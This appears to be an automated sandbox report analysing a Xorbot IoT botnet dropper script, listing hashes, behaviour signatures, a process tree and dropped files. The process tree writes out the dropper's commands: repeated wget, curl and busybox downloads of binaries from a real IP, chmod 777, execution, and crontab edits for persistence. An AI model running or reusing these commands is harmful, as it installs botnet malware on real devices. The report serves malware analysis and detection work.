Analysis

  • max time kernel
    139s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02-12-2024 15:17

General

  • Target

    UUA29_bins.sh

  • Size

    10KB

  • MD5

    436845a459c71b19ac21070d4569df28

  • SHA1

    3ae505085c1bad8560b465ce273cbf1acf86e6da

  • SHA256

    703bc61dabb824da3d539d16dc77e4524c08eda72faa12e17fda26395f4360a8

  • SHA512

    82c2920b53776fa210d9c01eb1a2ec4a246466b3ffa34de150e6d1e42e1b4045f09e41cd774739dac237208a820cf1df7e9248576acf56ecd32735654c5a16e3

  • SSDEEP

    192:jo9H3HvHt2qYr7reSUZF6pRVLWW8qiSRVLWW+qiFH3HvHt2qKr7reSwk:jo9XPtF6yqihqiFXPU

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1875) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/UUA29_bins.sh
    /tmp/UUA29_bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:671
        • /usr/bin/wget
          wget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • Writes file to tmp directory
          PID:673
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • Writes file to tmp directory
          PID:697
        • /bin/chmod
          chmod 777 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          ./l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
          • Executes dropped EXE
          PID:700
        • /bin/rm
          rm l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
          2⤵
            PID:702
          • /usr/bin/wget
            wget http://216.126.231.240/bins/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
            2⤵
            • Writes file to tmp directory
            PID:703
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:704
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
            2⤵
            • Writes file to tmp directory
            PID:715
          • /bin/chmod
            chmod 777 U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
            2⤵
            • File and Directory Permissions Modification
            PID:719
          • /tmp/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
            ./U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
            2⤵
            • Executes dropped EXE
            PID:720
          • /bin/rm
            rm U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
            2⤵
              PID:723
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jeSL6WxWRsGHjLuGpDNSlyg83MAjbm6QLc
              2⤵
              • Writes file to tmp directory
              PID:724
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jeSL6WxWRsGHjLuGpDNSlyg83MAjbm6QLc
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:731
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jeSL6WxWRsGHjLuGpDNSlyg83MAjbm6QLc
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/chmod
              chmod 777 jeSL6WxWRsGHjLuGpDNSlyg83MAjbm6QLc
              2⤵
              • File and Directory Permissions Modification
              PID:742
            • /tmp/jeSL6WxWRsGHjLuGpDNSlyg83MAjbm6QLc
              ./jeSL6WxWRsGHjLuGpDNSlyg83MAjbm6QLc
              2⤵
              • Executes dropped EXE
              PID:743
            • /bin/rm
              rm jeSL6WxWRsGHjLuGpDNSlyg83MAjbm6QLc
              2⤵
                PID:746
              • /usr/bin/wget
                wget http://216.126.231.240/bins/3L2AO84dPYUt6Ly99a4DQ8gJh6uxVp1C5k
                2⤵
                • Writes file to tmp directory
                PID:747
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/3L2AO84dPYUt6Ly99a4DQ8gJh6uxVp1C5k
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:756
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/3L2AO84dPYUt6Ly99a4DQ8gJh6uxVp1C5k
                2⤵
                • Writes file to tmp directory
                PID:765
              • /bin/chmod
                chmod 777 3L2AO84dPYUt6Ly99a4DQ8gJh6uxVp1C5k
                2⤵
                • File and Directory Permissions Modification
                PID:769
              • /tmp/3L2AO84dPYUt6Ly99a4DQ8gJh6uxVp1C5k
                ./3L2AO84dPYUt6Ly99a4DQ8gJh6uxVp1C5k
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:770
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:772
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:774
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:775
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:776
                  • /bin/rm
                    rm 3L2AO84dPYUt6Ly99a4DQ8gJh6uxVp1C5k
                    2⤵
                      PID:778
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Lp4NFruWW62vvSL9ZPwsdwp2zAazrEITDS
                      2⤵
                        PID:781
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Lp4NFruWW62vvSL9ZPwsdwp2zAazrEITDS
                        2⤵
                          PID:782
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/Lp4NFruWW62vvSL9ZPwsdwp2zAazrEITDS
                          2⤵
                          • Writes file to tmp directory
                          PID:844
                        • /bin/chmod
                          chmod 777 Lp4NFruWW62vvSL9ZPwsdwp2zAazrEITDS
                          2⤵
                          • File and Directory Permissions Modification
                          PID:864
                        • /tmp/Lp4NFruWW62vvSL9ZPwsdwp2zAazrEITDS
                          ./Lp4NFruWW62vvSL9ZPwsdwp2zAazrEITDS
                          2⤵
                          • Executes dropped EXE
                          PID:865
                        • /bin/rm
                          rm Lp4NFruWW62vvSL9ZPwsdwp2zAazrEITDS
                          2⤵
                            PID:868
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/RPltFyvenOIk2mVN1usn7VEdfLLvqgtvXy
                            2⤵
                              PID:869
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/RPltFyvenOIk2mVN1usn7VEdfLLvqgtvXy
                              2⤵
                                PID:870
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/RPltFyvenOIk2mVN1usn7VEdfLLvqgtvXy
                                2⤵
                                • Writes file to tmp directory
                                PID:871
                              • /bin/chmod
                                chmod 777 RPltFyvenOIk2mVN1usn7VEdfLLvqgtvXy
                                2⤵
                                • File and Directory Permissions Modification
                                PID:874
                              • /tmp/RPltFyvenOIk2mVN1usn7VEdfLLvqgtvXy
                                ./RPltFyvenOIk2mVN1usn7VEdfLLvqgtvXy
                                2⤵
                                • Executes dropped EXE
                                PID:875
                              • /bin/rm
                                rm RPltFyvenOIk2mVN1usn7VEdfLLvqgtvXy
                                2⤵
                                  PID:877
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/cYrB1d26XJbQMf8Ob4Aj3HjnQ6tQwp7p6H
                                  2⤵
                                    PID:878
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/cYrB1d26XJbQMf8Ob4Aj3HjnQ6tQwp7p6H
                                    2⤵
                                      PID:880
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/cYrB1d26XJbQMf8Ob4Aj3HjnQ6tQwp7p6H
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:882
                                    • /bin/chmod
                                      chmod 777 cYrB1d26XJbQMf8Ob4Aj3HjnQ6tQwp7p6H
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:886
                                    • /tmp/cYrB1d26XJbQMf8Ob4Aj3HjnQ6tQwp7p6H
                                      ./cYrB1d26XJbQMf8Ob4Aj3HjnQ6tQwp7p6H
                                      2⤵
                                      • Executes dropped EXE
                                      PID:887
                                    • /bin/rm
                                      rm cYrB1d26XJbQMf8Ob4Aj3HjnQ6tQwp7p6H
                                      2⤵
                                        PID:888
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/uHPT8Ioow3ZpedNrHja6rawVT6QA4OO0mF
                                        2⤵
                                          PID:891
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/uHPT8Ioow3ZpedNrHja6rawVT6QA4OO0mF
                                          2⤵
                                            PID:894
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/uHPT8Ioow3ZpedNrHja6rawVT6QA4OO0mF
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:897
                                          • /bin/chmod
                                            chmod 777 uHPT8Ioow3ZpedNrHja6rawVT6QA4OO0mF
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:900
                                          • /tmp/uHPT8Ioow3ZpedNrHja6rawVT6QA4OO0mF
                                            ./uHPT8Ioow3ZpedNrHja6rawVT6QA4OO0mF
                                            2⤵
                                            • Executes dropped EXE
                                            PID:902
                                          • /bin/rm
                                            rm uHPT8Ioow3ZpedNrHja6rawVT6QA4OO0mF
                                            2⤵
                                              PID:903
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/9MA22oJCuw0uXxFuiq69J7KJPC5UyPzwJJ
                                              2⤵
                                                PID:904
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/9MA22oJCuw0uXxFuiq69J7KJPC5UyPzwJJ
                                                2⤵
                                                  PID:909
                                                • /bin/busybox
                                                  /bin/busybox wget http://216.126.231.240/bins/9MA22oJCuw0uXxFuiq69J7KJPC5UyPzwJJ
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:911
                                                • /bin/chmod
                                                  chmod 777 9MA22oJCuw0uXxFuiq69J7KJPC5UyPzwJJ
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:915
                                                • /tmp/9MA22oJCuw0uXxFuiq69J7KJPC5UyPzwJJ
                                                  ./9MA22oJCuw0uXxFuiq69J7KJPC5UyPzwJJ
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:916
                                                • /bin/rm
                                                  rm 9MA22oJCuw0uXxFuiq69J7KJPC5UyPzwJJ
                                                  2⤵
                                                    PID:917
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/ECNBQlKqZdQ5mKtrzxlEQhgPN9yf5K5E1V
                                                    2⤵
                                                      PID:919

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/3L2AO84dPYUt6Ly99a4DQ8gJh6uxVp1C5k

                                                    Filesize

                                                    127KB

                                                    MD5

                                                    89077b7bd4bcafca7713be43635c4862

                                                    SHA1

                                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                                    SHA256

                                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                    SHA512

                                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                  • /tmp/9MA22oJCuw0uXxFuiq69J7KJPC5UyPzwJJ

                                                    Filesize

                                                    177KB

                                                    MD5

                                                    786d75a158fe731feca3880f436082c0

                                                    SHA1

                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                    SHA256

                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                    SHA512

                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                  • /tmp/Lp4NFruWW62vvSL9ZPwsdwp2zAazrEITDS

                                                    Filesize

                                                    111KB

                                                    MD5

                                                    ca897a38f23ec23521ce0b1b83f8422d

                                                    SHA1

                                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                    SHA256

                                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                    SHA512

                                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                  • /tmp/RPltFyvenOIk2mVN1usn7VEdfLLvqgtvXy

                                                    Filesize

                                                    117KB

                                                    MD5

                                                    849fa04ef88a8e8de32cb2e8538de5fe

                                                    SHA1

                                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                    SHA256

                                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                    SHA512

                                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                  • /tmp/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl

                                                    Filesize

                                                    122KB

                                                    MD5

                                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                                    SHA1

                                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                    SHA256

                                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                    SHA512

                                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                  • /tmp/cYrB1d26XJbQMf8Ob4Aj3HjnQ6tQwp7p6H

                                                    Filesize

                                                    112KB

                                                    MD5

                                                    05d7857dcead18bbd86d2935f591873c

                                                    SHA1

                                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                    SHA256

                                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                    SHA512

                                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                  • /tmp/jeSL6WxWRsGHjLuGpDNSlyg83MAjbm6QLc

                                                    Filesize

                                                    107KB

                                                    MD5

                                                    eb9c3a0de91fcf16ba17cb24608df68c

                                                    SHA1

                                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                                    SHA256

                                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                    SHA512

                                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                  • /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

                                                    Filesize

                                                    98KB

                                                    MD5

                                                    5141342d0df8699fa32a6b066a0c592e

                                                    SHA1

                                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                    SHA256

                                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                    SHA512

                                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                  • /tmp/uHPT8Ioow3ZpedNrHja6rawVT6QA4OO0mF

                                                    Filesize

                                                    99KB

                                                    MD5

                                                    9438d9bc392bcf300a5583b6df5bc8f6

                                                    SHA1

                                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                                    SHA256

                                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                    SHA512

                                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                  • /var/spool/cron/crontabs/tmp.1tNU6c

                                                    Filesize

                                                    210B

                                                    MD5

                                                    bb363c34ea6a52233c959fe1bb07a308

                                                    SHA1

                                                    2069977e371fb9c1f7fb3d426df5d58ab0b243a3

                                                    SHA256

                                                    638dc9520186ef543b5f8dd7e213663db6fd37fc8e1989c9828b980852ba9c30

                                                    SHA512

                                                    d097f8a0883af7eccc2152fb5c8e465bd1e086534a52ab89b1515253ec08553e282bf705a7b2b7cb70940e502d58cf86489a520c5ff203303fd603982aa5f412